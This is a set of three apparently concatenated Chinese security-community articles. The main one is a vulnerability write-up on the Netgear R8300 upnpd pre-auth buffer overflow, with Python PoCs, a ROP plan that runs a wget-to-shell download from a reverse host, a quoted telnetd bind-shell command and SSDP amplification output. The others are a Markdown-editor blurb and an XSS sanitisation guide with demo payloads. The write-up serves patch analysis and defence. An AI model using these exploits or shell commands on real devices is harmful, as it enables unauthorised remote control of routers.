2020 年 7 月 31 日，Netgear 官方发布安全公告，在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE
漏洞[【1】](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211 "Netgear 官方安全公告")。2020
年 8 月 18 日，SSD Secure Disclosure 上公开了该漏洞的细节及 EXP[【2】](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
"漏洞详情")。
该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer
溢出，进一步控制 PC 执行任意代码。
回顾了下整个复现流程还是很有趣的，特此记录。
## 2.环境搭建
下面先搭建漏洞调试环境。在有设备的情况下，有多种直接获取系统 shell 的方式，如：
1. 硬件调试接口，如：UART
2. 历史 RCE 漏洞，如：NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞[【3】](https://www.seebug.org/vuldb/ssvid-98253 "NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞")
3. 设备自身的后门，Unlocking the Netgear Telnet Console[【4】](https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500 "Unlocking the Netgear Telnet Console")
4. 破解固件检验算法，开启 telnet 或植入反连程序。
不幸的是，没有设备…
理论上，只要 CPU 指令集对的上，就可以跑起来，所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU
的指令翻译，可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。
### 下载固件
Netgear 还是很良心的，在官网提供了历史固件下载。
下载地址：[【5】](https://www.netgear.com/support/product/R8300.aspx#download "固件下载")
下载的固件 md5sum 如下：
c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本
abce2193f5f24f743c738d24d36d7717 R8300-V1.0.2.134_1.0.99.zip - 补丁版本
binwalk 可以正确识别。
? binwalk R8300-V1.0.2.130_1.0.99.chk
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
使用 `binwalk -Me` 提取出 Squashfs 文件系统，漏洞程序是 `ARMv5` 架构，动态链接，且去除了符号表。
? squashfs-root ls
bin dev etc lib media mnt opt proc sbin share sys tmp usr var www
? squashfs-root find . -name upnpd
./usr/sbin/upnpd
? squashfs-root file ./usr/sbin/upnpd
./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
### QEMU 模拟
在基于 QEMU 的固件模拟这块，网上也有一些开源的平台，如比较出名的
firmadyne[【6】](https://github.com/firmadyne/firmadyne
"firmadyne")、ARM-X[【7】](https://github.com/therealsaumil/armx
"ARM-X")。不过相比于使用这种集成环境，我更倾向于自己动手，精简但够用。
相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》[【8】](https://paper.seebug.org/480/
"Vivotek 摄像头远程栈溢出漏洞分析及利用") 也有提及，步骤大同小异。
在 Host 机上创建一个 tap 接口并分配 IP，启动虚拟机：
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
用户名和密码都是 root，为虚拟机分配 IP：
ifconfig eth0 192.168.2.2/24
这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev，最后 chroot 即可。
root@debian-armhf:~# ls
squashfs-root
root@debian-armhf:~# ifconfig
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:96350 errors:0 dropped:0 overruns:0 frame:0
TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7945287 (7.5 MiB) TX bytes:18841978 (17.9 MiB)
Interrupt:47
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:55 errors:0 dropped:0 overruns:0 frame:0
TX packets:55 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:304544 (297.4 KiB) TX bytes:304544 (297.4 KiB)
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
BusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
uid=0 gid=0(root)
#
### 修复运行依赖
直接运行没有任何报错就退出了，服务也没启动。
经过调试发现是打开文件失败。
手动创建 `/tmp/var/run` 目录，再次运行提示缺少 `/dev/nvram`。
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用
`LD_PRELOAD` 劫持以下函数符号。
网上找到一个现成的实现：[【9】](https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
"nvram hook 库")，交叉编译：
? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
还是报错，找不到 `dlsym` 的符号。之所以会用到 `dlsym`，是因为该库的实现者还同时 hook 了
`system`、`fopen`、`open` 等函数，这对于修复文件缺失依赖，查找命令注入漏洞大有裨益。
`/lib/libdl.so.0` 导出了该符号。
? grep -r "dlsym" .
Binary file ./lib/libcrypto.so.1.0.0 matches
Binary file ./lib/libdl.so.0 matches
Binary file ./lib/libhcrypto-samba4.so.5 matches
Binary file ./lib/libkrb5-samba4.so.26 matches
Binary file ./lib/libldb.so.1 matches
Binary file ./lib/libsamba-modules-samba4.so matches
Binary file ./lib/libsqlite3.so.0 matches
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory
? readelf -a ./lib/libdl.so.0 | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
可以跑起来了，不过由于缺少配置信息，还是会异常退出。接下来要做的就是根据上面的日志补全配置信息，其实特别希望能有一台 R8300，导出里面的 nvram
配置…
简单举个例子，`upnpd_debug_level` 是控制日志级别的，`sub_B813()` 是输出日志的函数，只要
`upnpd_debug_level > sub_B813() 的第一个参数`，就可以在终端输出日志。
下面分享一份 nvram 配置，至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。
upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
upnpd 服务成功运行！
## 3.漏洞分析
该漏洞的原理很简单，使用 `strcpy()` 拷贝导致的缓冲区溢出，来看看调用流程。
在 `sub_1D020()` 中使用 `recvfrom()` 从套接字接受最大长度 `0x1fff` 的 UDP 报文数据。
在 `sub_25E04()` 中调用 `strcpy()` 将以上数据拷贝到大小为 `0x634 - 0x58 = 0x5dc` 的 buffer。
## 4.利用分析
通过 `checksec` 可知程序本身只开了 NX 保护，从原漏洞详情得知 R8300 上开了 ASLR。
很容易构造出可控 PC 的 payload，唯一需要注意的是栈上有个 v39 的指针 v41，覆盖的时候将其指向有效地址即可正常返回。
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v41
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
显然，`R4 - R11` 也是可控的，思考一下目前的情况：
1. 开了 NX 不能用 `shellcode`。
2. 有 ASLR，不能泄漏地址，不能使用各种 LIB 库中的符号和 `gadget`。
3. `strcpy()` 函数导致的溢出，payload 中不能包含 `\x00` 字符。
其实可控 PC 后已经可以干很多事了，`upnpd` 内包含大量 `system` 函数调用，比如 `reboot`。
下面探讨下更为 general 的 RCE 利用，一般像这种 ROP 的 payload 中包含 `\x00`，覆盖返回地址的payload 又不能包含
`\x00`，就要想办法提前将 ROP payload 注入目标内存。
比如，利用内存未初始化问题，构造如下 PoC，每个 payload 前添加 `\x00` 防止程序崩溃。
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.2', 1900))
s.send(b'\x00' + b'A' * 0x1ff0)
s.send(b'\x00' + b'B' * 0x633)
s.close()
在漏洞点下断点，
两次拷贝完成后，看下内存布局：
可以看到，由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。
这么大的空间，也足以给 ROP 的 payload 一片容身之地。
借用原作者的一张图，利用原理如下：
关于 ROP，使用 `strcpy` 调用在 bss 上拼接出命令字符串，并调整 R0 指向这段内存，然后跳转 `system` 执行即可。
原作者构造的 `system("telnetd -l /bin/sh -p 9999& ")` 绑定型 shell。
经过分析，我发现可以构造 `system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh")`
调用，从而无限制任意命令执行。
构造的关键在于下面这张表。
发送 payload，通过 hook 的日志可以看到，ROP 利用链按照预期工作，可以无限制远程命令执行。
（由于模拟环境的问题，wget 命令运行段错误了…）
## 5.补丁分析
在更新版固件 `V1.0.2.134` 中，用 `strncpy()` 代替 `strcpy()`，限制了拷贝长度为 `0x5db`，正好是 buffer
长度减 1。
补丁中还特意用 `memset()` 初始化了 buffer。这是由于 `strncpy()` 在拷贝时，如果 n < src 的长度，只是将 src 的前
n 个字符复制到 dest 的前 n 个字符，不会自动添加 `\x00`，也就是结果 dest 不包括 `\x00`，需要再手动添加一个 `\x00`；如果
src 的长度小于 n 个字节，则以`\x00` 填充 dest 直到复制完 n 个字节。
结合上面的 RCE 利用过程，可见申请内存之后及时初始化是个很好的编码习惯，也能一定程度上避免很多安全问题。
## 6.影响范围
通过 ZoomEye 网络空间搜索引擎对关键字 `"SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0"`
进行搜索，共发现 18889 条 Netgear UPnP 服务的 IP
历史记录，主要分布在美国[【10】](https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22 "ZoomEye 搜索")。其中是 R8300 这个型号的会受到该漏洞影响。
## 7.其他
说句题外话，由于协议设计缺陷，历史上 UPnP 也被多次曝出漏洞，比如经典的 SSDP 反射放大用来 DDoS 的问题。
在我们的模拟环境中进行测试，发送 132 bytes 的 `ST: ssdp:all M-SEARCH` 查询请求 ，服务器响应了 4063 bytes
的数据，放大倍率高达 30.8。
因此，建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。
? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2
,------. ,--. ,--. ,----. {1.5.9-nongit-20200408}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' http://pocsuite.org
[*] starting at 11:05:18
[11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py'
[11:05:18] [INFO] pocsusite got a total of 1 tasks
[11:05:18] [DEBUG] pocsuite will open 1 threads
[11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2'
[11:05:28] [DEBUG] timed out
[11:05:28] [DEBUG] HTTP/1.1 200 OK
ST: upnp:rootdevice
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice
HTTP/1.1 200 OK
ST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
HTTP/1.1 200 OK
ST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:WANDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1
HTTP/1.1 200 OK
ST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:WANConnectionDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:Layer3Forwarding:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANIPConnection:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANPPPConnection:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1
[11:05:28] [+] URL : http://192.168.2.2
[11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303
[11:05:28] [INFO] Scan completed,ready to print
+-------------+----------------+--------+-----------+---------+---------+
| target-url | poc-name | poc-id | component | version | status |
+-------------+----------------+--------+-----------+---------+---------+
| 192.168.2.2 | upnp ssdp ddos | | | | success |
+-------------+----------------+--------+-----------+---------+---------+
success : 1 / 1
[*] shutting down at 11:05:28
## 8.相关链接
【1】: Netgear 官方安全公告
<https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211>
【2】: 漏洞详情
<https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/>
【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞
<https://www.seebug.org/vuldb/ssvid-98253>
【4】: Unlocking the Netgear Telnet Console
<https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500>
【5】: 固件下载
<https://www.netgear.com/support/product/R8300.aspx#download>
【6】: firmadyne
<https://github.com/firmadyne/firmadyne>
【7】: ARM-X
<https://github.com/therealsaumil/armx>
【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用
<https://paper.seebug.org/480/>
【9】: nvram hook 库
<https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c>
【10】: ZoomEye 搜索
<https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22> | 社区文章 |
## writing
### 一个轻量级的Markdown编辑器，支持LaTeX数学公式，而且没有服务端，一个浏览器就可以运行
项目地址：<https://github.com/josephernest/writing> | 社区文章 |
# 写给研发同学的富文本安全过滤方案
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：唐银@涂鸦智能安全实验室
## 一、前言
对于用户编辑文本的功能点，很多时候，业务上需要允许用户输入自定义的样式，比较简单直接的方案就是使用富文本：支持用户在前端自定义的html传入，最终同样以html的形式展现。不同的业务可能有各种各样不同的具体实现形式，但殊途同归，最终都可以抽象成“输入->持久化->输出”来表述。
如果整个过程不进行任何处理，就会产生XSS漏洞。然而常见的XSS防护方案中的编码转义，完全不适用于这种场景。那么剩下的方案就只有把不安全的内容过滤掉了。
## 二、安全问题
最常见的业务流程：
通常，安全人员在测试上面的流程时，会在前端提交html富文本给后端之前，对Post请求进行拦截，然后在内容中插入类似下面的代码，来证明漏洞存在：
<img src=1 onerror="alert(123)">
<script>alert(123);</script>
如果应用后端没有进行过滤，查看文章时，页面会执行插入的js代码，弹窗。
当安全人员将这样的PoC提交给开发时，如果开发是一个小白，往往第一反应是用黑名单的方式过滤掉onerror事件、script标签。
然而有经验的开发同学都知道，黑名单不管如何更新维护，往往都是白白浪费精力，最终都难以逃脱被绕过的下场。最有效的方案是使用白名单过滤。
以下链接中的内容包含了一些常见的XSS攻击方式及绕过方法，不在此处展开讨论，感兴趣的可以自行了解一下。
<https://html5sec.org/>
<https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html>
## 三、过滤方案及实现
对于上面的业务流程，过滤可以在两个环节实现。一个是服务端在接收到前端传入的数据后，对数据进行过滤处理，另外一个是数据返回给前端，前端将数据渲染到页面呈现之前。
### 服务端过滤（Java实现）
**jsoup**
jsoup 是一款 Java 的 HTML 解析器，可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API，可通过 DOM、CSS
以及类似于 JQuery 的操作方法来取出和操作数据。基于MIT协议发布，可放心用于商业项目。
jsoup内置了一些白名单的标签属性list，同时支持用户自定义，或者在此基础上根据需求灵活扩展。
先看一个简单的Demo。
maven依赖：
<dependency>
<!-- jsoup HTML parser library @ https://jsoup.org/ -->
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.14.3</version>
</dependency>
jsoup Demo:
package cc.stayfoolish.richtext.test;
import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
public class JsoupFilterDemo {
public static void main(String[] args) {
String payload = "aaa<script>alert(1)</script>bbb<img src=\"http://stayfoolish.cc/a.jpg\" class=\"s\" onerror=\"alert(1)\"><a href=\"http://stayfoolish.cc/test\">sss</a>";
Safelist safelist = Safelist.basicWithImages().addAttributes(":all", "class");
String res = Jsoup.clean(payload, safelist);
System.out.println(res);
}
}
注：很多文章里给的代码用的是Whitelist类，目前该类已经Deprecated，未来可能会被弃用。建议直接使用Safelist类。
打印结果：
aaabbb
<img src="http://stayfoolish.cc/a.jpg" class="s"><a href="http://stayfoolish.cc/test" rel="nofollow">sss</a>
可以看到，在结果中插入的恶意代码成功被过滤掉了。
我们进入Safelist类里看一下jsoup提供的几个主要的基础白名单，
public static Safelist basic() {
return new Safelist()
.addTags("a", "b", "blockquote", "br", "cite", "code", "dd", "dl", "dt", "em", "i", "li", "ol", "p", "pre", "q", "small", "span", "strike", "strong", "sub", "sup", "u", "ul")
.addAttributes("a", "href")
.addAttributes("blockquote", "cite")
.addAttributes("q", "cite")
.addProtocols("a", "href", "ftp", "http", "https", "mailto")
.addProtocols("blockquote", "cite", "http", "https")
.addProtocols("cite", "cite", "http", "https")
.addEnforcedAttribute("a", "rel", "nofollow");
}
addTags(String… tags)方法中的参数内容，表示html标签（元素）的白名单。
addAttributes(String tag, String… attributes)，表示指定的标签允许哪些属性。
addProtocols(String tag, String attribute, String…
protocols)，表示指定的标签里的指定属性允许使用哪些协议。
addEnforcedAttribute(String tag, String attribute, String
value)，表示指定的标签，不论有没有对应的属性和属性值，都强制加上。
再来看我们Demo中用到的basicWithImages()方法。在basic()的基础上又增加了img标签和一些可能用到的属性。
public static Safelist basicWithImages() {
return basic()
.addTags("img")
.addAttributes("img", "align", "alt", "height", "src", "title", "width")
.addProtocols("img", "src", "http", "https");
}
如果以上白名单还不够用怎么办？jsoup还提供了relaxed()方法，扩大了白名单范围，基本可以满足常见需求。
public static Safelist relaxed() {
return new Safelist()
.addTags( "a", "b", "blockquote", "br", "caption", "cite", "code", "col", "colgroup", "dd", "div", "dl", "dt", "em", "h1", "h2", "h3", "h4", "h5", "h6","i", "img", "li", "ol", "p", "pre", "q", "small", "span", "strike", "strong","sub", "sup", "table", "tbody", "td", "tfoot", "th", "thead", "tr", "u", "ul")
.addAttributes("a", "href", "title")
.addAttributes("blockquote", "cite")
.addAttributes("col", "span", "width")
.addAttributes("colgroup", "span", "width")
.addAttributes("img", "align", "alt", "height", "src", "title", "width")
.addAttributes("ol", "start", "type")
.addAttributes("q", "cite")
.addAttributes("table", "summary", "width")
.addAttributes("td", "abbr", "axis", "colspan", "rowspan", "width")
.addAttributes( "th", "abbr", "axis", "colspan", "rowspan", "scope","width")
.addAttributes("ul", "type")
.addProtocols("a", "href", "ftp", "http", "https", "mailto")
.addProtocols("blockquote", "cite", "http", "https")
.addProtocols("cite", "cite", "http", "https")
.addProtocols("img", "src", "http", "https")
.addProtocols("q", "cite", "http", "https");
}
需要注意的是relaxed()方法没有强制给a标签添加rel=nofollow属性，后面我会在“标签属性安全使用建议”部分解释这个属性的作用，以及什么场景需要加这个属性。
在jsoup Demo中，我们在调用addAttributes(“:all”,
“class”)方法时，传入的tag参数值为“:all”，表示所有标签都允许使用class属性。
如果上面的标签属性不足以满足业务场景，开发同学可以使用前面提到的方法，自行添加标签属性白名单。在决定使用哪些白名单前，请参考后面的“标签属性安全使用建议”，或者找专业的安全人员帮忙审核一下。
有些场景下，需要对某些标签的属性值进行正则过滤，比如限制a标签的href属性必须在某个域名下。遗憾的是，jsoup没有提供默认的支持，只能自己实现一个了。以下是笔者写的一个工具类，发出来供大家参考：
package cc.stayfoolish.richtext.util;
import org.apache.commons.lang3.StringUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.safety.Safelist;
import org.jsoup.select.Elements;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* TODO
*
* @author tangyin
*/
public class RichTextFilterUtil {
public static String cleanHTML(String content){
Safelist safelist = Safelist.basicWithImages().addAttributes(":all", "class");
String res = Jsoup.clean(content, safelist);
return res;
}
/**
*
* @param content 过滤的内容
* @param elementRegexMap key：例如参数值"a.href"，表示a标签的href属性，value：正则表达式字符串
* @return
*/
public static String cleanHTMLandFilterUrl(String content, Map<String, String> elementRegexMap){
String cleanedHtml = RichTextFilterUtil.cleanHTML(content);
Document doc = Jsoup.parseBodyFragment(cleanedHtml);
for(Map.Entry<String, String> entry: elementRegexMap.entrySet()){
String[] key = StringUtils.split(entry.getKey(),".");
String tag = key[0];
String attribute = key[1];
String regex = entry.getValue();
Pattern pattern = Pattern.compile(regex);
Elements elements = doc.select(tag + "[" + attribute + "]");
for(Element element : elements){
Matcher matcher = pattern.matcher(element.attr(attribute));
if(!matcher.find()){
//如果没有匹配到，属性值置空
element.attr(attribute,"");
}
}
}
return doc.body().html();
}
public static void main(String[] args) {
Map<String, String> elementRegexMap = new HashMap<>();
String urlRegex = "^(http|https)://([\\w-@:]+\\.)*(baidu\\.com|stayfoolish\\.cc)(/.*)?$";
elementRegexMap.put("img.src", urlRegex);
elementRegexMap.put("a.href", urlRegex);
String dirtyContent = "<a href=\"http://www.stayfoolish.cc/\">123</a><a href=\"http://www.xxx.com/\">123</a><img src=\"http://www.baidu.com/1.jpg\"><img src=\"http://www.xxx.com/1.jpg\">";
String result = RichTextFilterUtil.cleanHTMLandFilterUrl(dirtyContent, elementRegexMap);
System.out.println(result);
}
}
**OWASP Java HTML Sanitizer**
OWASP Java HTML Sanitizer 是OWASP（Open Web Application Security
Project，开放Web应用程序安全项目）组织开源的一款HTML过滤器，为安全而生，使用起来非常灵活。
官网：<https://owasp.org/www-project-java-html-sanitizer/>
maven依赖：
<dependency>
<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
<artifactId>owasp-java-html-sanitizer</artifactId>
<version>20211018.2</version>
</dependency>
以下是笔者基于这款过滤器写的另一个工具类：
package cc.stayfoolish.richtext.util;
import org.owasp.html.HtmlPolicyBuilder;
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
import java.util.regex.Pattern;
/**
* TODO
*
* @author tangyin
*/
public class OwaspHtmlSanitizerUtil {
public static String sanitizeByAllDefaultPolicy(String htmlInput){
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS).and(Sanitizers.BLOCKS).and(Sanitizers.IMAGES).and(Sanitizers.STYLES).and(Sanitizers.TABLES);
return policy.sanitize(htmlInput);
}
private static final Pattern whiteUrl = Pattern.compile("^(http|https)://([\\w-@:]+\\.)*(stayfoolish\\.cc|baidu\\.com)(/.*)?$");
public static String sanitizeByMyPolicy(String htmlInput){
String[] safeAttributes = {"align", "alink", "alt", "bgcolor", "border", "cellpadding", "cellspacing", "class", "color", "cols", "colspan", "coords", "dir", "face", "height", "hspace", "ismap", "lang", "marginheight", "marginwidth", "multiple", "nohref", "noresize", "noshade", "nowrap", "ref", "rel", "rev", "rows", "rowspan", "scrolling", "shape", "span", "summary", "tabindex", "title", "usemap", "valign", "value", "vlink", "vspace", "width"};
String[] allowTags = {"b", "i", "font", "s", "u", "o", "sup", "sub", "ins", "del", "strong", "strike", "tt", "code", "big", "small", "br", "span", "em", "p", "div", "h1", "h2", "h3", "h4", "h5", "h6", "ul", "ol", "li", "blockquote", "a", "img"};
PolicyFactory policy = new HtmlPolicyBuilder().allowElements(allowTags).allowAttributes(safeAttributes).globally()
.allowUrlProtocols("http","https").allowAttributes("src").onElements("img")
.allowAttributes("href").matching(whiteUrl).onElements("a").requireRelNofollowOnLinks().toFactory();
return policy.sanitize(htmlInput);
}
public static void main(String[] args) {
String payload = "aaa<script>alert(1)</script>bbb<img src=\"123\" class=\"s\" href=\"http://www.stayfoolish.cc/test\"><a href=\"http://www.stayfoolish.cc/test\">sss</a>";
String safeHtml1 = sanitizeByMyPolicy(payload);
System.out.println(safeHtml1);
String safeHtml2 = sanitizeByAllDefaultPolicy(payload);
System.out.println(safeHtml2);
}
}
和jsoup一样，其本身内置了很多白名单标签属性，可以通过and方法追加允许的标签属性策略。感兴趣的读者可以跟进代码里看一下这些自带的策略，这里不再赘述。
